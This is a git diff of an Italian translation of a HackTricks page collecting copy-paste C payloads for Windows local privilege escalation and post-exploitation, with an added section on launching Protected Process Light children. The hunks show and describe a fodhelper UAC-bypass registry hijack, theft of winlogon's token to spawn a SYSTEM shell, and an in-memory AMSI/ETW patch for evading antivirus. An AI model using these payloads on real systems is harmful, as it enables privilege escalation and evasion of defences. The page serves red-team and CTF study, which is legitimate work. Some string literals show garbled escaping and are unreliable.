| Windows Server 2016 | | ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- | @@ -133,4 +189,12 @@ Per informazioni più dettagliate, consultare la [documentazione](https://docs.m | Schema Admins | Schema Admins | Schema Admins | Schema Admins | | Server Operators | Server Operators | Server Operators | Server Operators | +## Riferimenti + +- [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) +- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw) +- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist) +- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute) +- [LSASS RunAsPPL – background and internals](https://itm4n.github.io/lsass-runasppl/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md index ab62d8a90..60b504441 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md +++ b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -Questa pagina raccoglie **piccole porzioni di codice C autonome** che sono utili durante l'Escalation Locale dei Privilegi in Windows o post-exploitation. Ogni payload è progettato per essere **facile da copiare e incollare**, richiede solo l'API di Windows / il runtime C e può essere compilato con `i686-w64-mingw32-gcc` (x86) o `x86_64-w64-mingw32-gcc` (x64). +Questa pagina raccoglie **piccoli snippet C autonomi** utili durante Windows Local Privilege Escalation o post-exploitation. Ogni payload è progettato per essere **facile da copiare/incollare**, richiede solo la Windows API / C runtime, e può essere compilato con `i686-w64-mingw32-gcc` (x86) o `x86_64-w64-mingw32-gcc` (x64). -> ⚠️ Questi payload assumono che il processo abbia già i privilegi minimi necessari per eseguire l'azione (ad es. `SeDebugPrivilege`, `SeImpersonatePrivilege` o contesto di integrità media per un bypass UAC). Sono destinati a **impostazioni di red team o CTF** dove sfruttare una vulnerabilità ha portato all'esecuzione arbitraria di codice nativo. +> ⚠️ Questi payload presumono che il processo abbia già i privilegi minimi necessari per eseguire l'azione (ad es. `SeDebugPrivilege`, `SeImpersonatePrivilege`, o contesto a integrità media per un UAC bypass). Sono destinati a contesti **red-team o CTF** dove lo sfruttamento di una vulnerabilità ha permesso l'esecuzione arbitraria di codice nativo. --- @@ -21,13 +21,13 @@ return 0; --- ## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity) -Quando il binario fidato **`fodhelper.exe`** viene eseguito, interroga il percorso del registro sottostante **senza filtrare il verbo `DelegateExecute`**. Piantando il nostro comando sotto quella chiave, un attaccante può bypassare UAC *senza* scrivere un file su disco. +Quando il binario trusted **`fodhelper.exe`** viene eseguito, interroga il percorso di registro seguente **senza filtrare il verbo `DelegateExecute`**. Piantando il nostro comando sotto quella chiave, un attaccante può bypassare UAC *senza* scrivere un file su disco. *Percorso del registro interrogato da `fodhelper.exe`* ``` HKCU\Software\Classes\ms-settings\Shell\Open\command ``` -Una PoC minima che apre un `cmd.exe` elevato: +Un PoC minimale che apre un `cmd.exe` con privilegi elevati: ```c // x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c #define _CRT_SECURE_NO_WARNINGS @@ -65,8 +65,8 @@ return 0; --- -## Genera una shell SYSTEM tramite duplicazione del token (`SeDebugPrivilege` + `SeImpersonatePrivilege`) -Se il processo corrente detiene **entrambi** i privilegi `SeDebug` e `SeImpersonate` (tipico per molti account di servizio), puoi rubare il token da `winlogon.exe`, duplicarlo e avviare un processo elevato: +## Avviare una shell SYSTEM tramite duplicazione del token (`SeDebugPrivilege` + `SeImpersonatePrivilege`) +Se il processo corrente possiede **entrambi** i privilegi `SeDebug` e `SeImpersonate` (tipico per molti account di servizio), puoi rubare il token da `winlogon.exe`, duplicarlo e avviare un processo elevato: ```c // x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32 #include @@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE, -L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE, +L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); @@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken); return 0; } ``` -Per una spiegazione più approfondita su come funziona, vedere: +Per una spiegazione più approfondita di come funziona, vedi: {{#ref}} sedebug-+-seimpersonate-copy-token.md @@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md --- -## Patch AMSI & ETW in memoria (Evasione della difesa) -La maggior parte dei moderni motori AV/EDR si basa su **AMSI** e **ETW** per ispezionare comportamenti malevoli. Patchare entrambe le interfacce all'interno del processo corrente impedisce la scansione dei payload basati su script (ad es. PowerShell, JScript). +## In-Memory AMSI & ETW Patch (Defence Evasion) +La maggior parte dei moderni AV/EDR si affidano a **AMSI** e **ETW** per ispezionare comportamenti maligni. Patching di entrambe le interfacce all'interno del processo corrente, in fase iniziale, impedisce che payloads basati su script (es. PowerShell, JScript) vengano scansionati. ```c // gcc -o patch_amsi.exe patch_amsi.c -lntdll #define _CRT_SECURE_NO_WARNINGS @@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK); return 0; } ``` -*La patch sopra è locale al processo; avviare un nuovo PowerShell dopo averlo eseguito verrà eseguito senza ispezione AMSI/ETW.* +*La patch sopra è a livello di processo; avviando un nuovo PowerShell dopo averla eseguita verrà eseguito senza ispezione AMSI/ETW.* + +--- + +## Creare un processo figlio come Protected Process Light (PPL) +Richiedere un livello di protezione PPL per un processo figlio al momento della creazione usando `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. Questa è un'API documentata e avrà successo solo se l'immagine target è firmata per la classe di signer richiesta (Windows/WindowsLight/Antimalware/LSA/WinTcb). +```c +// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c +#include + +int wmain(void) { +STARTUPINFOEXW si = {0}; +PROCESS_INFORMATION pi = {0}; +si.StartupInfo.cb = sizeof(si); + +SIZE_T attrSize = 0; +InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize); +si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize); +InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize); + +DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level +UpdateProcThreadAttribute(si.lpAttributeList, 0, +PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, +&lvl, sizeof(lvl), NULL, NULL); + +if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE, +EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) { +// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level +return 1; +} +DeleteProcThreadAttributeList(si.lpAttributeList); +HeapFree(GetProcessHeap(), 0, si.lpAttributeList); +CloseHandle(pi.hThread); +CloseHandle(pi.hProcess); +return 0; +} +``` +Livelli usati più comunemente: +- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2) +- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3) +- `PROTECTION_LEVEL_LSA_LIGHT` (4) + +Valida il risultato con Process Explorer/Process Hacker controllando la colonna Protection. --- ## Riferimenti * Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024) * SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023) +* CreateProcessAsPPL – launcher minimale per processi PPL: https://github.com/2x7EQ13/CreateProcessAsPPL +* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute {{#include ../../banners/hacktricks-training.md}}